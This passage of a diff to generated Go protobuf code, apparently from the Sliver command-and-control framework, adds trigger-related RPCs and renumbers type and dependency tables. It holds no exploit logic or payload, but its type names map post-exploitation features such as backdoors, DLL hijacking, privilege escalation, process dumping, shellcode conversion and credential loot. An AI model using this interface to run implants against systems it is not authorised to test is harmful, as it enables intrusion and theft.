0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x38, 0x0a, 0x0b, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x73, + 0x69, 0x7a, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, + 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, + 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, + 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, + 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, + 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, + 0x4b, 0x0a, 0x14, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x47, 0x0a, 0x0e, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x1b, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x49, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x48, 0x0a, 0x13, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, + 0x44, 0x69, 0x73, 0x70, 0x61, 0x74, 0x63, 0x68, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x20, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x44, + 0x69, 0x73, 0x70, 0x61, 0x74, 0x63, 0x68, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x42, 0x0a, 0x0b, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x46, 0x69, 0x72, 0x65, 0x12, 0x18, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x46, 0x69, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x46, 0x69, 0x72, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, + 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, + 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) var file_rpcpb_services_proto_goTypes = []any{ (*commonpb.Empty)(nil), // 0: commonpb.Empty @@ -370,115 +936,121 @@ var file_rpcpb_services_proto_goTypes = []any{ (*sliverpb.PortfwdReq)(nil), // 133: sliverpb.PortfwdReq (*sliverpb.Socks)(nil), // 134: sliverpb.Socks (*sliverpb.SocksData)(nil), // 135: sliverpb.SocksData - (*sliverpb.Tunnel)(nil), // 136: sliverpb.Tunnel - (*sliverpb.TunnelData)(nil), // 137: sliverpb.TunnelData - (*clientpb.Version)(nil), // 138: clientpb.Version - (*clientpb.Operators)(nil), // 139: clientpb.Operators - (*sliverpb.Reconfigure)(nil), // 140: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 141: clientpb.Sessions - (*commonpb.Response)(nil), // 142: commonpb.Response - (*clientpb.MonitoringProviders)(nil), // 143: clientpb.MonitoringProviders - (*clientpb.AIProviderConfigs)(nil), // 144: clientpb.AIProviderConfigs - (*clientpb.AIConversations)(nil), // 145: clientpb.AIConversations - (*clientpb.AIConversationMessages)(nil), // 146: clientpb.AIConversationMessages - (*clientpb.ListenerJob)(nil), // 147: clientpb.ListenerJob - (*clientpb.Beacons)(nil), // 148: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 149: clientpb.BeaconTasks - (*clientpb.Jobs)(nil), // 150: clientpb.Jobs - (*clientpb.KillJob)(nil), // 151: clientpb.KillJob - (*clientpb.StagerListener)(nil), // 152: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 153: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 154: clientpb.AllHosts - (*clientpb.Generate)(nil), // 155: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 156: clientpb.ExternalImplantConfig - (*clientpb.HTTPC2Configs)(nil), // 157: clientpb.HTTPC2Configs - (*clientpb.HTTPC2Config)(nil), // 158: clientpb.HTTPC2Config - (*clientpb.Builders)(nil), // 159: clientpb.Builders - (*clientpb.CertificateInfo)(nil), // 160: clientpb.CertificateInfo - (*clientpb.CertificateAuthorityInfo)(nil), // 161: clientpb.CertificateAuthorityInfo - (*clientpb.CrackResponse)(nil), // 162: clientpb.CrackResponse - (*clientpb.Crackstations)(nil), // 163: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 164: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 165: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 166: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 167: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 168: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 169: clientpb.ImplantProfiles - (*clientpb.ShellcodeRDI)(nil), // 170: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 171: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 172: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 173: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 174: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 175: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 176: clientpb.Websites - (*sliverpb.Ps)(nil), // 177: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 178: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 179: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 180: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 181: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 182: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 183: sliverpb.Mv - (*sliverpb.Cp)(nil), // 184: sliverpb.Cp - (*sliverpb.Rm)(nil), // 185: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 186: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 187: sliverpb.Download - (*sliverpb.Upload)(nil), // 188: sliverpb.Upload - (*sliverpb.Grep)(nil), // 189: sliverpb.Grep - (*sliverpb.Chmod)(nil), // 190: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 191: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 192: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 193: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 194: sliverpb.MemfilesRm - (*sliverpb.Mount)(nil), // 195: sliverpb.Mount - (*sliverpb.ProcessDump)(nil), // 196: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 197: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 198: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 199: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 200: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 201: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 202: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 203: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 204: sliverpb.Execute - (*sliverpb.ExecuteChildren)(nil), // 205: sliverpb.ExecuteChildren - (*sliverpb.Sideload)(nil), // 206: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 207: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 208: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 209: sliverpb.CurrentTokenOwner - (*sliverpb.Services)(nil), // 210: sliverpb.Services - (*sliverpb.ServiceDetail)(nil), // 211: sliverpb.ServiceDetail - (*sliverpb.ServiceInfo)(nil), // 212: sliverpb.ServiceInfo - (*sliverpb.PivotListener)(nil), // 213: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 214: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 215: clientpb.PivotGraph - (*sliverpb.MakeToken)(nil), // 216: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 217: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 218: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 219: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 220: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 221: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 222: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 223: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 224: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 225: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 226: sliverpb.RegistryValuesList - (*sliverpb.RegistryReadHive)(nil), // 227: sliverpb.RegistryReadHive - (*sliverpb.SSHCommand)(nil), // 228: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 229: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 230: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 231: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 232: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 233: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 234: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 235: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 236: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 237: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 238: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 239: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 240: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 241: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 242: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 243: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 244: sliverpb.Portfwd + (*clientpb.TriggerListenerReq)(nil), // 136: clientpb.TriggerListenerReq + (*clientpb.TriggerIntentsReq)(nil), // 137: clientpb.TriggerIntentsReq + (*clientpb.TriggerDispatchTaskReq)(nil), // 138: clientpb.TriggerDispatchTaskReq + (*clientpb.TriggerFireReq)(nil), // 139: clientpb.TriggerFireReq + (*sliverpb.Tunnel)(nil), // 140: sliverpb.Tunnel + (*sliverpb.TunnelData)(nil), // 141: sliverpb.TunnelData + (*clientpb.Version)(nil), // 142: clientpb.Version + (*clientpb.Operators)(nil), // 143: clientpb.Operators + (*sliverpb.Reconfigure)(nil), // 144: sliverpb.Reconfigure + (*clientpb.Sessions)(nil), // 145: clientpb.Sessions + (*commonpb.Response)(nil), // 146: commonpb.Response + (*clientpb.MonitoringProviders)(nil), // 147: clientpb.MonitoringProviders + (*clientpb.AIProviderConfigs)(nil), // 148: clientpb.AIProviderConfigs + (*clientpb.AIConversations)(nil), // 149: clientpb.AIConversations + (*clientpb.AIConversationMessages)(nil), // 150: clientpb.AIConversationMessages + (*clientpb.ListenerJob)(nil), // 151: clientpb.ListenerJob + (*clientpb.Beacons)(nil), // 152: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 153: clientpb.BeaconTasks + (*clientpb.Jobs)(nil), // 154: clientpb.Jobs + (*clientpb.KillJob)(nil), // 155: clientpb.KillJob + (*clientpb.StagerListener)(nil), // 156: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 157: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 158: clientpb.AllHosts + (*clientpb.Generate)(nil), // 159: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 160: clientpb.ExternalImplantConfig + (*clientpb.HTTPC2Configs)(nil), // 161: clientpb.HTTPC2Configs + (*clientpb.HTTPC2Config)(nil), // 162: clientpb.HTTPC2Config + (*clientpb.Builders)(nil), // 163: clientpb.Builders + (*clientpb.CertificateInfo)(nil), // 164: clientpb.CertificateInfo + (*clientpb.CertificateAuthorityInfo)(nil), // 165: clientpb.CertificateAuthorityInfo + (*clientpb.CrackResponse)(nil), // 166: clientpb.CrackResponse + (*clientpb.Crackstations)(nil), // 167: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 168: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 169: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 170: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 171: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 172: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 173: clientpb.ImplantProfiles + (*clientpb.ShellcodeRDI)(nil), // 174: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 175: clientpb.Compiler + (*clientpb.ShellcodeEncode)(nil), // 176: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 177: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 178: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 179: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 180: clientpb.Websites + (*sliverpb.Ps)(nil), // 181: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 182: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 183: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 184: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 185: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 186: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 187: sliverpb.Mv + (*sliverpb.Cp)(nil), // 188: sliverpb.Cp + (*sliverpb.Rm)(nil), // 189: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 190: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 191: sliverpb.Download + (*sliverpb.Upload)(nil), // 192: sliverpb.Upload + (*sliverpb.Grep)(nil), // 193: sliverpb.Grep + (*sliverpb.Chmod)(nil), // 194: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 195: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 196: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 197: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 198: sliverpb.MemfilesRm + (*sliverpb.Mount)(nil), // 199: sliverpb.Mount + (*sliverpb.ProcessDump)(nil), // 200: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 201: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 202: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 203: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 204: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 205: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 206: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 207: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 208: sliverpb.Execute + (*sliverpb.ExecuteChildren)(nil), // 209: sliverpb.ExecuteChildren + (*sliverpb.Sideload)(nil), // 210: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 211: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 212: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 213: sliverpb.CurrentTokenOwner + (*sliverpb.Services)(nil), // 214: sliverpb.Services + (*sliverpb.ServiceDetail)(nil), // 215: sliverpb.ServiceDetail + (*sliverpb.ServiceInfo)(nil), // 216: sliverpb.ServiceInfo + (*sliverpb.PivotListener)(nil), // 217: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 218: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 219: clientpb.PivotGraph + (*sliverpb.MakeToken)(nil), // 220: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 221: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 222: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 223: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 224: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 225: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 226: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 227: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 228: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 229: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 230: sliverpb.RegistryValuesList + (*sliverpb.RegistryReadHive)(nil), // 231: sliverpb.RegistryReadHive + (*sliverpb.SSHCommand)(nil), // 232: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 233: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 234: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 235: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 236: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 237: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 238: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 239: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 240: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 241: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 242: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 243: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 244: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 245: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 246: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 247: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 248: sliverpb.Portfwd + (*clientpb.TriggerIntents)(nil), // 249: clientpb.TriggerIntents + (*clientpb.TriggerFireResp)(nil), // 250: clientpb.TriggerFireResp } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty @@ -670,205 +1242,213 @@ var file_rpcpb_services_proto_depIdxs = []int32{ 134, // 186: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks 134, // 187: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks 135, // 188: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 136, // 189: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 136, // 190: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 137, // 191: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 192: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 138, // 193: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 194: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 139, // 195: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators - 0, // 196: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 140, // 197: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 198: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 141, // 199: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 142, // 200: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 201: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 143, // 202: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders - 142, // 203: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response - 142, // 204: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response - 144, // 205: rpcpb.SliverRPC.GetAIProviders:output_type -> clientpb.AIProviderConfigs - 145, // 206: rpcpb.SliverRPC.GetAIConversations:output_type -> clientpb.AIConversations - 7, // 207: rpcpb.SliverRPC.GetAIConversation:output_type -> clientpb.AIConversation - 7, // 208: rpcpb.SliverRPC.SaveAIConversation:output_type -> clientpb.AIConversation - 0, // 209: rpcpb.SliverRPC.DeleteAIConversation:output_type -> commonpb.Empty - 146, // 210: rpcpb.SliverRPC.GetAIConversationMessages:output_type -> clientpb.AIConversationMessages - 8, // 211: rpcpb.SliverRPC.SaveAIConversationMessage:output_type -> clientpb.AIConversationMessage - 147, // 212: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob - 147, // 213: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob - 147, // 214: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob - 147, // 215: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob - 147, // 216: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob - 148, // 217: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 13, // 218: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 219: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 149, // 220: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 14, // 221: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 14, // 222: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 0, // 223: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty - 150, // 224: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 151, // 225: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 0, // 226: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty - 152, // 227: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 19, // 228: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 229: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 19, // 230: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 19, // 231: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 153, // 232: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 20, // 233: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 234: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 235: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 236: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 21, // 237: 